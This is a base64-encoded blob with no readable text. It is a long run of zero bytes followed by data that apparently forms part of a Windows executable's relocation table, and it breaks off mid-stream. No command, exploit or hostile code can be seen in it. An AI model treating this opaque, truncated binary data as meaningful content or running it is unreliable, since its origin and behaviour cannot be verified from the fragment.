AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAQAEAACMwPjBVMGgwlzCnMLsw6jD6MBYxNTGIMagxvzHjMfkxEDIrMkIyXTJ0MpEy+zIFMw8zKTNAM1wzwDPIM9Ez2DPfM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NNM03TQaNTQ1TjVoNYU1oDW7NdU18jUMNic2QjZfNpg2rDYNNyE3MTdBN1U3ZTd1N4g3yTfZN+M37TchOCY4eDiMOJY4qTizOL040DjaOO049zgKORQ5JzlGOVA5YzmBOZo54TnsOfU5/jkHOhA6GToiOis6NDo9OkY6TzpYOmE6djp7Oow6mTqsOrQ67Tr0Ois7TztrO4074DvAPG09fT2HPZM9mT2fPaU9qz2xPbc9vT3DPck9zz3VPeM99z2YPlc/cT95P40/sT+5P8c/8D8AAAAgAAC4AAAAGTAmMDUwQDBLMFAwajDCMBgxLDE+MUsxVzGAMZYxqDGzMb4xwzHdMQcy3TPqM/czBTQdND00VTSENJQ0pzTNNOw0DzVoNYs1UDaANpk2qDZCN2Q3dDetN0E4MDlFOZk5qTnHOS86jDrJOtE63zr6Ov86BTutO7Y7vDvCO8g7zjvyO/k7DzwWPCI8NTxIPFU8YjzMPB89vT07PlI+Zz6CPok+kj4rP0o/dz+MP7E/9T8AMAAA1AAAAA8wQDBnMKgw3DA8MV4xgTGgMbwx2zFGMmAygzKmMsgy5DIDM8ozJDQyNLs04DQrNVA1gzWMNbs1BjYUNi02NDZaNn02hDaLNqY29Tb9NgQ3Izd/N943/TcdOGo4hzifOLk4KjlIOdQ56TkAOhM6HzoyOjs6RjpjOnY6fzqLOpM6sDoyO3Y7gDulO7U7vjvFO8878DsNPBs8Ljw8PE48UzxdPGI8aDxzPIw8cz18Pd497D36PQE+aT6zPu4+Aj8QPzc/UT+WP5s/uD/rPwBAAAC4AAAASDBhMI8wTzFoMXcxozEvMrsy7zIYMzkzyDP1Mwk0LzRJNGA0ijSeNK00yDToNDg1PzVONVI1jzWjNa811zUfNjU2QDZZNpM2tjbhNnE3jDeoN603tTcAOBo4QjhYOH84mTiqOMo45jjrOPU4CjkQORY5Jjk5OT85SzlbOWE5dTmgOcE54jlzO3k7gzuJO5w79TsOPCw8ZDx9PI88sDzbPAA9Mz1aPZw9xT1YPms+AAAAUAAAVAAAAJwzwDPjNPc0yDjqOBY5HTk1OUY5TznxO/w7FzwzPDg8VTyOPMc8Cz1QPTk+QD5HPk4+VT5cPmM+iT6VPpw+oz6qPjU/bj+nP+A/AAAAYAAAgAAAABkwZzCiMP0wTDHHMeExJzJ4MqwyWzN0M4szpjPpM3c0iDTRNPI0FDVcNYM19TUiNkU2qDbWNu42SDdwN6M3yTdeOII41TjgOAI5LjlfOWw5dTmTObs54Tn6OSE6SDpROlg6hTqROqc6AjsmO0A7UTtuO9M75TsQPABwAADUAAAAazByMKIwjjOYM6UzrzPMM9Mz4DPtMws0EjQhNDo0STRcNGM0bTSeNKg0tDTBNN405TTyNPw0HTUnNTM1QzVQNVc1ZDVwNYs1kjWfNak1wzXNNdo15zUFNg82GzY0Nk